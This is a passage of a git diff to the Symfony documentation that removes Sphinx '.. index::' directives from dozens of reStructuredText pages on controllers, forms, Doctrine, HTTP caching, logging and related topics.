 differently if you need a more sophisticated way of loading your configuration.
 
-.. index::
-   single: Environments; Cache directory
-
 Environments and the Cache Directory
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
diff --git a/configuration/multiple_kernels.rst b/configuration/multiple_kernels.rst
index f840b2875f5..dc7e4c5b390 100644
--- a/configuration/multiple_kernels.rst
+++ b/configuration/multiple_kernels.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: kernel, performance
-
 How To Create Symfony Applications with Multiple Kernels
 ========================================================
 
diff --git a/configuration/override_dir_structure.rst b/configuration/override_dir_structure.rst
index 808fb6f923f..7528c250729 100644
--- a/configuration/override_dir_structure.rst
+++ b/configuration/override_dir_structure.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Override Symfony
-
 How to Override Symfony's default Directory Structure
 =====================================================
 
diff --git a/configuration/secrets.rst b/configuration/secrets.rst
index 0176d35fa10..56270b75ca5 100644
--- a/configuration/secrets.rst
+++ b/configuration/secrets.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Secrets
-
 How to Keep Sensitive Information Secret
 ========================================
 
diff --git a/configuration/using_parameters_in_dic.rst b/configuration/using_parameters_in_dic.rst
index 1cc51dcfd9f..9eb629b4b20 100644
--- a/configuration/using_parameters_in_dic.rst
+++ b/configuration/using_parameters_in_dic.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Using Parameters within a Dependency Injection Class
-
 Using Parameters within a Dependency Injection Class
 ----------------------------------------------------
 
diff --git a/console.rst b/console.rst
index 1e13234ecd0..04c53fddae9 100644
--- a/console.rst
+++ b/console.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Console; Create commands
-
 Console Commands
 ================
 
diff --git a/console/command_in_controller.rst b/console/command_in_controller.rst
index 91ead2a7801..887bdeb147d 100644
--- a/console/command_in_controller.rst
+++ b/console/command_in_controller.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Console; How to Call a Command from a controller
-
 How to Call a Command from a Controller
 =======================================
 
diff --git a/console/commands_as_services.rst b/console/commands_as_services.rst
index 6323f21ac50..9b57560e42c 100644
--- a/console/commands_as_services.rst
+++ b/console/commands_as_services.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Console; Commands as Services
-
 How to Define Commands as Services
 ==================================
 
diff --git a/console/style.rst b/console/style.rst
index fc94a1be4db..59ad22ba3fa 100644
--- a/console/style.rst
+++ b/console/style.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Console; Style commands
-
 How to Style a Console Command
 ==============================
 
diff --git a/controller.rst b/controller.rst
index e39af6dd3a0..58e7e83d854 100644
--- a/controller.rst
+++ b/controller.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Controller
-
 Controller
 ==========
 
@@ -15,9 +12,6 @@ to render the content of a page.
     If you haven't already created your first working page, check out
     :doc:`/page_creation` and then come back!
 
-.. index::
-   single: Controller; Basic example
-
 A Basic Controller
 ------------------
 
@@ -66,9 +60,6 @@ This controller is pretty straightforward:
 
 * *line 16*: The controller creates and returns a ``Response`` object.
 
-.. index::
-   single: Controller; Routes and controllers
-
 Mapping a URL to a Controller
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -80,9 +71,6 @@ To see your page, go to this URL in your browser: http://localhost:8000/lucky/nu
 
 For more information on routing, see :doc:`/routing`.
 
-.. index::
-   single: Controller; Base controller class
-
 .. _the-base-controller-class-services:
 .. _the-base-controller-classes-services:
 
@@ -112,9 +100,6 @@ Add the ``use`` statement atop your controller class and then modify
 That's it! You now have access to methods like :ref:`$this->render() <controller-rendering-templates>`
 and many others that you'll learn about next.
 
-.. index::
-   single: Controller; Redirecting
-
 Generating URLs
 ~~~~~~~~~~~~~~~
 
@@ -167,9 +152,6 @@ and ``redirect()`` methods::
     redirect to a URL provided by end-users, your application may be open
     to the `unvalidated redirects security vulnerability`_.
 
-.. index::
-   single: Controller; Rendering templates
-
 .. _controller-rendering-templates:
 
 Rendering Templates
@@ -185,9 +167,6 @@ object for you::
 Templating and Twig are explained more in the
 :doc:`Creating and Using Templates article </templates>`.
 
-.. index::
-   single: Controller; Accessing services
-
 .. _controller-accessing-services:
 .. _accessing-other-services:
 
@@ -315,10 +294,6 @@ use:
     created: templates/product/new.html.twig
     created: templates/product/show.html.twig
 
-.. index::
-   single: Controller; Managing errors
-   single: Controller; 404 pages
-
 Managing Errors and 404 Pages
 -----------------------------
 
@@ -387,10 +362,6 @@ object. To access it in your controller, add it as an argument and
 :ref:`Keep reading <request-object-info>` for more information about using the
 Request object.
 
-.. index::
-   single: Controller; The session
-   single: Session
-
 Managing the Session
 --------------------
 
@@ -430,9 +401,6 @@ For example, imagine you're processing a :doc:`form </forms>` submission::
 
 :ref:`Reading <session-intro>` for more information about using Sessions.
 
-.. index::
-   single: Controller; Response object
-
 .. _request-object-info:
 
 The Request and Response Object
diff --git a/controller/argument_value_resolver.rst b/controller/argument_value_resolver.rst
index 0670357bb0f..fcbe012ef33 100644
--- a/controller/argument_value_resolver.rst
+++ b/controller/argument_value_resolver.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Controller; Argument Value Resolvers
-
 Extending Action Argument Resolving
 ===================================
 
diff --git a/controller/error_pages.rst b/controller/error_pages.rst
index 320c1aaae62..7ccb05cdf65 100644
--- a/controller/error_pages.rst
+++ b/controller/error_pages.rst
@@ -1,7 +1,3 @@
-.. index::
-   single: Controller; Customize error pages
-   single: Error pages
-
 How to Customize Error Pages
 ============================
 
diff --git a/controller/forwarding.rst b/controller/forwarding.rst
index 444439bb2df..a0e0648517a 100644
--- a/controller/forwarding.rst
+++ b/controller/forwarding.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Controller; Forwarding
-
 How to Forward Requests to another Controller
 =============================================
 
diff --git a/controller/service.rst b/controller/service.rst
index f034f524f12..1510f7b8278 100644
--- a/controller/service.rst
+++ b/controller/service.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Controller; As Services
-
 How to Define Controllers as Services
 =====================================
 
diff --git a/controller/upload_file.rst b/controller/upload_file.rst
index ac96b4207bb..e3736d63d52 100644
--- a/controller/upload_file.rst
+++ b/controller/upload_file.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Controller; Upload; File
-
 How to Upload Files
 ===================
 
diff --git a/deployment.rst b/deployment.rst
index da77d19f086..f9480d673e8 100644
--- a/deployment.rst
+++ b/deployment.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Deployment; Deployment tools
-
 .. _how-to-deploy-a-symfony2-application:
 
 How to Deploy a Symfony Application
diff --git a/doctrine.rst b/doctrine.rst
index 4576c0167ca..12b2a44bf46 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Doctrine
-
 Databases and the Doctrine ORM
 ==============================
 
diff --git a/doctrine/associations.rst b/doctrine/associations.rst
index 0468b03becd..0aea5cf2d58 100644
--- a/doctrine/associations.rst
+++ b/doctrine/associations.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Doctrine; Associations
-
 How to Work with Doctrine Associations / Relations
 ==================================================
 
diff --git a/doctrine/custom_dql_functions.rst b/doctrine/custom_dql_functions.rst
index 17217cd1ecb..f615ad1fcd5 100644
--- a/doctrine/custom_dql_functions.rst
+++ b/doctrine/custom_dql_functions.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Doctrine; Custom DQL functions
-
 How to Register custom DQL Functions
 ====================================
 
diff --git a/doctrine/dbal.rst b/doctrine/dbal.rst
index a9d04674163..544428a9691 100644
--- a/doctrine/dbal.rst
+++ b/doctrine/dbal.rst
@@ -1,6 +1,3 @@
-.. index::
-   pair: Doctrine; DBAL
-
 How to Use Doctrine DBAL
 ========================
 
diff --git a/doctrine/events.rst b/doctrine/events.rst
index bb9517aff19..729e266db3d 100644
--- a/doctrine/events.rst
+++ b/doctrine/events.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Doctrine; Lifecycle Callbacks; Doctrine Events
-
 Doctrine Events
 ===============
 
diff --git a/doctrine/multiple_entity_managers.rst b/doctrine/multiple_entity_managers.rst
index 6f77aa8a455..081239bcd9f 100644
--- a/doctrine/multiple_entity_managers.rst
+++ b/doctrine/multiple_entity_managers.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Doctrine; Multiple entity managers
-
 How to Work with Multiple Entity Managers and Connections
 =========================================================
 
diff --git a/doctrine/registration_form.rst b/doctrine/registration_form.rst
index cf530a041e0..7063b7157a4 100644
--- a/doctrine/registration_form.rst
+++ b/doctrine/registration_form.rst
@@ -1,8 +1,3 @@
-.. index::
-   single: Doctrine; Simple Registration Form
-   single: Form; Simple Registration Form
-   single: Security; Simple Registration Form
-
 How to Implement a Registration Form
 ====================================
 
diff --git a/doctrine/resolve_target_entity.rst b/doctrine/resolve_target_entity.rst
index 6c1569d411e..a3b837fe076 100644
--- a/doctrine/resolve_target_entity.rst
+++ b/doctrine/resolve_target_entity.rst
@@ -1,7 +1,3 @@
-.. index::
-   single: Doctrine; Resolving target entities
-   single: Doctrine; Define relationships with abstract classes and interfaces
-
 How to Define Relationships with Abstract Classes and Interfaces
 ================================================================
 
diff --git a/doctrine/reverse_engineering.rst b/doctrine/reverse_engineering.rst
index 278eda204ed..35c8e729c2d 100644
--- a/doctrine/reverse_engineering.rst
+++ b/doctrine/reverse_engineering.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Doctrine; Generating entities from existing database
-
 How to Generate Entities from an Existing Database
 ==================================================
 
diff --git a/email.rst b/email.rst
index a4636adab78..8cb879ad4ab 100644
--- a/email.rst
+++ b/email.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Emails
-
 Swift Mailer
 ============
 
diff --git a/event_dispatcher.rst b/event_dispatcher.rst
index 3acf2caf5f7..ae13f5d61a6 100644
--- a/event_dispatcher.rst
+++ b/event_dispatcher.rst
@@ -1,7 +1,3 @@
-.. index::
-   single: Events; Create listener
-   single: Create subscriber
-
 Events and Event Listeners
 ==========================
 
diff --git a/form/button_based_validation.rst b/form/button_based_validation.rst
index 613e6f325f6..47f2673b079 100644
--- a/form/button_based_validation.rst
+++ b/form/button_based_validation.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Forms; Validation groups based on clicked button
-
 How to Choose Validation Groups Based on the Clicked Button
 ===========================================================
 
diff --git a/form/create_custom_field_type.rst b/form/create_custom_field_type.rst
index 2998a763445..2ae299fbd18 100644
--- a/form/create_custom_field_type.rst
+++ b/form/create_custom_field_type.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Form; Custom field type
-
 How to Create a Custom Form Field Type
 ======================================
 
diff --git a/form/create_form_type_extension.rst b/form/create_form_type_extension.rst
index 9e0066d7be8..43e6b7f198e 100644
--- a/form/create_form_type_extension.rst
+++ b/form/create_form_type_extension.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Form; Form type extension
-
 How to Create a Form Type Extension
 ===================================
 
diff --git a/form/data_based_validation.rst b/form/data_based_validation.rst
index 226284db439..400b4f3ff9a 100644
--- a/form/data_based_validation.rst
+++ b/form/data_based_validation.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Forms; Validation groups based on submitted data
-
 How to Choose Validation Groups Based on the Submitted Data
 ===========================================================
 
diff --git a/form/data_mappers.rst b/form/data_mappers.rst
index 6d322e3e043..30b642b0e0f 100644
--- a/form/data_mappers.rst
+++ b/form/data_mappers.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Form; Data mappers
-
 When and How to Use Data Mappers
 ================================
 
diff --git a/form/data_transformers.rst b/form/data_transformers.rst
index d87bde36855..005413ef992 100644
--- a/form/data_transformers.rst
+++ b/form/data_transformers.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Form; Data transformers
-
 How to Use Data Transformers
 ============================
 
diff --git a/form/direct_submit.rst b/form/direct_submit.rst
index a7c623dad19..3e239bfc138 100644
--- a/form/direct_submit.rst
+++ b/form/direct_submit.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Form; Form::submit()
-
 How to Use the submit() Function to Handle Form Submissions
 ===========================================================
 
diff --git a/form/disabling_validation.rst b/form/disabling_validation.rst
index 2844d0c865d..4bd6c5a4839 100644
--- a/form/disabling_validation.rst
+++ b/form/disabling_validation.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Forms; Disabling validation
-
 How to Disable the Validation of Submitted Data
 ===============================================
 
diff --git a/form/dynamic_form_modification.rst b/form/dynamic_form_modification.rst
index 6ab7372c844..8ad446915c4 100644
--- a/form/dynamic_form_modification.rst
+++ b/form/dynamic_form_modification.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Form; Events
-
 How to Dynamically Modify Forms Using Form Events
 =================================================
 
diff --git a/form/embedded.rst b/form/embedded.rst
index 156b8a7a767..c43f8a7a592 100644
--- a/form/embedded.rst
+++ b/form/embedded.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Forms; Embedded forms
-
 How to Embed Forms
 ==================
 
diff --git a/form/events.rst b/form/events.rst
index a99698aa247..092be472012 100644
--- a/form/events.rst
+++ b/form/events.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Forms; Form Events
-
 Form Events
 ===========
 
diff --git a/form/form_collections.rst b/form/form_collections.rst
index 86593e39163..7922bc3f3a1 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Form; Embed collection of forms
-
 How to Embed a Collection of Forms
 ==================================
 
diff --git a/form/form_customization.rst b/form/form_customization.rst
index 738ac6a947e..3551ed2344e 100644
--- a/form/form_customization.rst
+++ b/form/form_customization.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Form; Custom form rendering
-
 How to Customize Form Rendering
 ===============================
 
diff --git a/form/form_themes.rst b/form/form_themes.rst
index 965ebf73c0c..ca5981876cc 100644
--- a/form/form_themes.rst
+++ b/form/form_themes.rst
@@ -1,7 +1,3 @@
-.. index::
-   single: Forms; Theming
-   single: Forms; Customizing fields
-
 How to Work with Form Themes
 ============================
 
diff --git a/form/inherit_data_option.rst b/form/inherit_data_option.rst
index 083e415aac4..64001ba074d 100644
--- a/form/inherit_data_option.rst
+++ b/form/inherit_data_option.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Form; The "inherit_data" option
-
 How to Reduce Code Duplication with "inherit_data"
 ==================================================
 
diff --git a/form/multiple_buttons.rst b/form/multiple_buttons.rst
index c8b1fc5145b..9b3c6aa6eec 100644
--- a/form/multiple_buttons.rst
+++ b/form/multiple_buttons.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Forms; Multiple Submit Buttons
-
 How to Submit a Form with Multiple Buttons
 ==========================================
 
diff --git a/form/type_guesser.rst b/form/type_guesser.rst
index 2856072e8d3..f89808d5e08 100644
--- a/form/type_guesser.rst
+++ b/form/type_guesser.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Forms; Custom Type Guesser
-
 Creating a custom Type Guesser
 ==============================
 
diff --git a/form/unit_testing.rst b/form/unit_testing.rst
index 134109cf05b..d67b5f3bae7 100644
--- a/form/unit_testing.rst
+++ b/form/unit_testing.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Form; Form testing
-
 How to Unit Test your Forms
 ===========================
 
diff --git a/form/use_empty_data.rst b/form/use_empty_data.rst
index c2cba15ad7f..3290f5df443 100644
--- a/form/use_empty_data.rst
+++ b/form/use_empty_data.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Form; Empty data
-
 How to Configure empty Data for a Form Class
 ============================================
 
diff --git a/form/validation_groups.rst b/form/validation_groups.rst
index 609afac8689..4addc1ba1a7 100644
--- a/form/validation_groups.rst
+++ b/form/validation_groups.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Forms; Validation groups
-
 How to Define the Validation Groups to Use
 ==========================================
 
diff --git a/form/without_class.rst b/form/without_class.rst
index 5f565ebfb52..2a642e0d7f0 100644
--- a/form/without_class.rst
+++ b/form/without_class.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Forms; With no class
-
 How to Use a Form without a Data Class
 ======================================
 
diff --git a/forms.rst b/forms.rst
index 6d234b482a1..17223e15e10 100644
--- a/forms.rst
+++ b/forms.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Forms
-
 Forms
 =====
 
diff --git a/frontend/create_ux_bundle.rst b/frontend/create_ux_bundle.rst
index 1a93225b5ae..8bc04725bcd 100644
--- a/frontend/create_ux_bundle.rst
+++ b/frontend/create_ux_bundle.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Create a UX bundle
-
 Create a UX bundle
 ==================
 
diff --git a/frontend/custom_version_strategy.rst b/frontend/custom_version_strategy.rst
index 8a5d77cae5e..cdd4c6664be 100644
--- a/frontend/custom_version_strategy.rst
+++ b/frontend/custom_version_strategy.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Asset; Custom Version Strategy
-
 How to Use a Custom Version Strategy for Assets
 ===============================================
 
diff --git a/frontend/ux.rst b/frontend/ux.rst
index 1396a28a582..a43bcd8d028 100644
--- a/frontend/ux.rst
+++ b/frontend/ux.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Symfony UX
-
 The Symfony UX Initiative & Packages
 ====================================
 
diff --git a/http_cache.rst b/http_cache.rst
index 5dbe30c7f8f..dc763bb3ec9 100644
--- a/http_cache.rst
+++ b/http_cache.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Cache
-
 HTTP Cache
 ==========
 
@@ -30,10 +27,6 @@ on the topic. If you're new to HTTP caching, Ryan Tomayko's article
 `Things Caches Do`_ is *highly* recommended. Another in-depth resource is Mark
 Nottingham's `Cache Tutorial`_.
 
-.. index::
-   single: Cache; Proxy
-   single: Cache; Reverse proxy
-
 .. _gateway-caches:
 
 Caching with a Gateway Cache
@@ -60,9 +53,6 @@ as `Varnish`_, `Squid in reverse proxy mode`_, and the Symfony reverse proxy.
     Gateway caches are sometimes referred to as reverse proxy caches,
     surrogate caches, or even HTTP accelerators.
 
-.. index::
-   single: Cache; Symfony reverse proxy
-
 .. _`symfony-gateway-cache`:
 .. _symfony2-reverse-proxy:
 
@@ -156,9 +146,6 @@ cache efficiency of your routes.
     be able to switch to something more robust - like Varnish - without any problems.
     See :doc:`How to use Varnish </http_cache/varnish>`
 
-.. index::
-   single: Cache; HTTP
-
 .. _http-cache-introduction:
 
 Making your Responses HTTP Cacheable
@@ -201,9 +188,6 @@ These four headers are used to help cache your responses via *two* different mod
     invaluable. Don't be put-off by the appearance of the spec - its contents
     are much more beautiful than its cover!
 
-.. index::
-   single: Cache; Expiration
-
 .. _http-cache-expiration-intro:
 
 Expiration Caching
@@ -265,10 +249,6 @@ Finally, for more information about expiration caching, see :doc:`/http_cache/ex
 Validation Caching
 ~~~~~~~~~~~~~~~~~~
 
-.. index::
-   single: Cache; Cache-Control header
-   single: HTTP headers; Cache-Control
-
 With expiration caching, you say "cache for 3600 seconds!". But, when someone
 updates cached content, you won't see that content on your site until the cache
 expires.
@@ -279,9 +259,6 @@ caching model.
 
 For details, see :doc:`/http_cache/validation`.
 
-.. index::
-   single: Cache; Safe methods
-
 Safe Methods: Only caching GET or HEAD requests
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -301,9 +278,6 @@ three things:
   when responding to a GET or HEAD request. If those requests are cached, future
   requests may not actually hit your server.
 
-.. index::
-   pair: Cache; Configuration
-
 More Response Methods
 ~~~~~~~~~~~~~~~~~~~~~
 
diff --git a/http_cache/cache_invalidation.rst b/http_cache/cache_invalidation.rst
index b0b07909d29..48d451d3154 100644
--- a/http_cache/cache_invalidation.rst
+++ b/http_cache/cache_invalidation.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Cache; Invalidation
-
 .. _http-cache-invalidation:
 
 Cache Invalidation
diff --git a/http_cache/cache_vary.rst b/http_cache/cache_vary.rst
index 1dbbf9a0fc4..1d2d0fbbcd7 100644
--- a/http_cache/cache_vary.rst
+++ b/http_cache/cache_vary.rst
@@ -1,7 +1,3 @@
-.. index::
-   single: Cache; Vary
-   single: HTTP headers; Vary
-
 Varying the Response for HTTP Cache
 ===================================
 
diff --git a/http_cache/esi.rst b/http_cache/esi.rst
index 55be414971b..fa2ce96ea06 100644
--- a/http_cache/esi.rst
+++ b/http_cache/esi.rst
@@ -1,7 +1,3 @@
-.. index::
-    single: Cache; ESI
-    single: ESI
-
 .. _edge-side-includes:
 
 Working with Edge Side Includes
diff --git a/http_cache/expiration.rst b/http_cache/expiration.rst
index ae436e631ee..b3c70cfc53c 100644
--- a/http_cache/expiration.rst
+++ b/http_cache/expiration.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Cache; HTTP expiration
-
 HTTP Cache Expiration
 =====================
 
@@ -14,10 +11,6 @@ HTTP headers: ``Expires`` or ``Cache-Control``.
 
 .. include:: /http_cache/_expiration-and-validation.rst.inc
 
-.. index::
-    single: Cache; Cache-Control header
-    single: HTTP headers; Cache-Control
-
 Expiration with the ``Cache-Control`` Header
 --------------------------------------------
 
@@ -45,10 +38,6 @@ additional directives):
     response in ``stale-if-error`` scenarios. That's why it's recommended to use
     both ``public`` and ``max-age`` directives.
 
-.. index::
-    single: Cache; Expires header
-    single: HTTP headers; Expires
-
 Expiration with the ``Expires`` Header
 --------------------------------------
 
diff --git a/http_cache/ssi.rst b/http_cache/ssi.rst
index 23459588a33..3db2a986326 100644
--- a/http_cache/ssi.rst
+++ b/http_cache/ssi.rst
@@ -1,7 +1,3 @@
-.. index::
-    single: Cache; SSI
-    single: SSI
-
 .. _server-side-includes:
 
 Working with Server Side Includes
diff --git a/http_cache/validation.rst b/http_cache/validation.rst
index d46b4c58b80..468296682a0 100644
--- a/http_cache/validation.rst
+++ b/http_cache/validation.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Cache; Validation
-
 HTTP Cache Validation
 =====================
 
@@ -31,10 +28,6 @@ to implement the validation model: ``ETag`` and ``Last-Modified``.
 
 .. include:: /http_cache/_expiration-and-validation.rst.inc
 
-.. index::
-    single: Cache; Etag header
-    single: HTTP headers; Etag
-
 Validation with the ``ETag`` Header
 -----------------------------------
 
@@ -111,10 +104,6 @@ doing so much work.
     argument to the
     :method:`Symfony\\Component\\HttpFoundation\\Response::setEtag` method.
 
-.. index::
-    single: Cache; Last-Modified header
-    single: HTTP headers; Last-Modified
-
 Validation with the ``Last-Modified`` Header
 --------------------------------------------
 
@@ -175,10 +164,6 @@ response header. If they are equivalent, the ``Response`` will be set to a
     app. This is how the cache and server communicate with each other and
     decide whether or not the resource has been updated since it was cached.
 
-.. index::
-    single: Cache; Conditional get
-    single: HTTP; 304
-
 .. _optimizing-cache-validation:
 
 Optimizing your Code with Validation
diff --git a/http_cache/varnish.rst b/http_cache/varnish.rst
index cd78237bd4b..6157ceb3cf3 100644
--- a/http_cache/varnish.rst
+++ b/http_cache/varnish.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Cache; Varnish
-
 How to Use Varnish to Speed up my Website
 =========================================
 
@@ -9,9 +6,6 @@ Because Symfony's cache uses the standard HTTP cache headers, the
 proxy. `Varnish`_ is a powerful, open-source, HTTP accelerator capable of serving
 cached content fast and including support for :doc:`Edge Side Includes </http_cache/esi>`.
 
-.. index::
-    single: Varnish; configuration
-
 Make Symfony Trust the Reverse Proxy
 ------------------------------------
 
@@ -213,9 +207,6 @@ Symfony adds automatically:
     behavior, those VCL functions already exist. Append the code
     to the end of the function, they won't interfere with each other.
 
-.. index::
-    single: Varnish; Invalidation
-
 Cache Invalidation
 ------------------
 
diff --git a/http_client.rst b/http_client.rst
index d76b84a18fd..e0c6dafd777 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -1,7 +1,3 @@
-.. index::
-   single: HttpClient
-   single: Components; HttpClient
-
 HTTP Client
 ===========
 
diff --git a/introduction/from_flat_php_to_symfony.rst b/introduction/from_flat_php_to_symfony.rst
index b69f55b208c..5affeaa5f99 100644
--- a/introduction/from_flat_php_to_symfony.rst
+++ b/introduction/from_flat_php_to_symfony.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Symfony versus Flat PHP
-
 .. _symfony2-versus-flat-php:
 
 Symfony versus Flat PHP
diff --git a/introduction/http_fundamentals.rst b/introduction/http_fundamentals.rst
index 5cb74615c2c..6204d434a6a 100644
--- a/introduction/http_fundamentals.rst
+++ b/introduction/http_fundamentals.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Symfony Fundamentals
-
 .. _symfony2-and-http-fundamentals:
 
 Symfony and HTTP Fundamentals
@@ -30,9 +27,6 @@ Symfony is built from the ground up around that reality. Whether you realize
 it or not, HTTP is something you use every day. With Symfony, you'll learn
 how to master it.
 
-.. index::
-   single: HTTP; Request-response paradigm
-
 Step 1: The Client Sends a Request
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -159,9 +153,6 @@ each request and create and return the appropriate response.
     or the `HTTP Bis`_, which is an active effort to clarify the original
     specification.
 
-.. index::
-   single: Symfony Fundamentals; Requests and responses
-
 Requests and Responses in PHP
 -----------------------------
 
@@ -293,9 +284,6 @@ content with security. How can you manage all of this and still keep your
 code organized and maintainable? Symfony was created to help you with these
 problems.
 
-.. index::
-    single: Front controller; Origins
-
 The Front Controller
 ~~~~~~~~~~~~~~~~~~~~
 
@@ -347,9 +335,6 @@ A small front controller might look like this::
 This is better, but this is still a lot of repeated work! Fortunately, Symfony can
 help once again.
 
-.. index::
-    single: HTTP; Symfony request flow
-
 The Symfony Application Flow
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
diff --git a/lock.rst b/lock.rst
index 739c79fcce3..3e93173aedc 100644
--- a/lock.rst
+++ b/lock.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Lock
-
 Dealing with Concurrency with Locks
 ===================================
 
diff --git a/logging/channels_handlers.rst b/logging/channels_handlers.rst
index c329909ad88..b53c136b5bc 100644
--- a/logging/channels_handlers.rst
+++ b/logging/channels_handlers.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Logging
-
 How to Log Messages to different Files
 ======================================
 
diff --git a/logging/monolog_console.rst b/logging/monolog_console.rst
index 008be08a463..133185937c7 100644
--- a/logging/monolog_console.rst
+++ b/logging/monolog_console.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Logging; Console messages
-
 How to Configure Monolog to Display Console Messages
 ====================================================
 
diff --git a/logging/monolog_email.rst b/logging/monolog_email.rst
index cd7292da343..e6da3dbeb51 100644
--- a/logging/monolog_email.rst
+++ b/logging/monolog_email.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Logging; Emailing errors
-
 How to Configure Monolog to Email Errors
 ========================================
 
diff --git a/logging/monolog_exclude_http_codes.rst b/logging/monolog_exclude_http_codes.rst
index d698752f06a..a49dcfe8e1f 100644
--- a/logging/monolog_exclude_http_codes.rst
+++ b/logging/monolog_exclude_http_codes.rst
@@ -1,8 +1,3 @@
-.. index::
-   single: Logging
-   single: Logging; Exclude HTTP Codes
-   single: Monolog; Exclude HTTP Codes
-
 How to Configure Monolog to Exclude Specific HTTP Codes from the Log
 ====================================================================
 
diff --git a/mercure.rst b/mercure.rst
index be70ae7ef92..6ad0c05c3df 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Mercure
-
 Pushing Data to Clients Using the Mercure Protocol
 ==================================================
 
diff --git a/messenger.rst b/messenger.rst
index 90292aa6574..64704f65b4e 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Messenger
-
 Messenger: Sync & Queued Message Handling
 =========================================
 
diff --git a/messenger/dispatch_after_current_bus.rst b/messenger/dispatch_after_current_bus.rst
index ec1adf4d0f4..21d1f61a1d3 100644
--- a/messenger/dispatch_after_current_bus.rst
+++ b/messenger/dispatch_after_current_bus.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Messenger; Record messages; Transaction messages
-
 Transactional Messages: Handle New Messages After Handling is Done
 ==================================================================
 
diff --git a/messenger/handler_results.rst b/messenger/handler_results.rst
index 8d630d011f4..8e8d3b9ebba 100644
--- a/messenger/handler_results.rst
+++ b/messenger/handler_results.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Messenger; Getting results / Working with command & query buses
-
 Getting Results from your Handler
 =================================
 
diff --git a/messenger/multiple_buses.rst b/messenger/multiple_buses.rst
index dba1ebf5930..08f788ec109 100644
--- a/messenger/multiple_buses.rst
+++ b/messenger/multiple_buses.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Messenger; Multiple buses
-
 Multiple Buses
 ==============
 
diff --git a/migration.rst b/migration.rst
index 9d94e1377d1..8194c4b9be1 100644
--- a/migration.rst
+++ b/migration.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Migration
-
 Migrating an Existing Application to Symfony
 ============================================
 
diff --git a/notifier.rst b/notifier.rst
index f1746ffb7b0..e7b7f3a7fcc 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Notifier
-
 Creating and Sending Notifications
 ==================================
 
@@ -825,9 +822,6 @@ all configured texter and chatter transports only in the ``dev`` (and/or
 
 .. _notifier-events:
 
-.. index::
-    single: Notifier; Events
-
 Using Events
 ------------
 
diff --git a/page_creation.rst b/page_creation.rst
index 7cef4a9781c..b053e0a88a7 100644
--- a/page_creation.rst
+++ b/page_creation.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Create your First Page in Symfony
-
 .. _creating-pages-in-symfony2:
 .. _creating-pages-in-symfony:
 
@@ -29,9 +26,6 @@ two-step process:
     Symfony *embraces* the HTTP Request-Response lifecycle. To find out more,
     see :doc:`/introduction/http_fundamentals`.
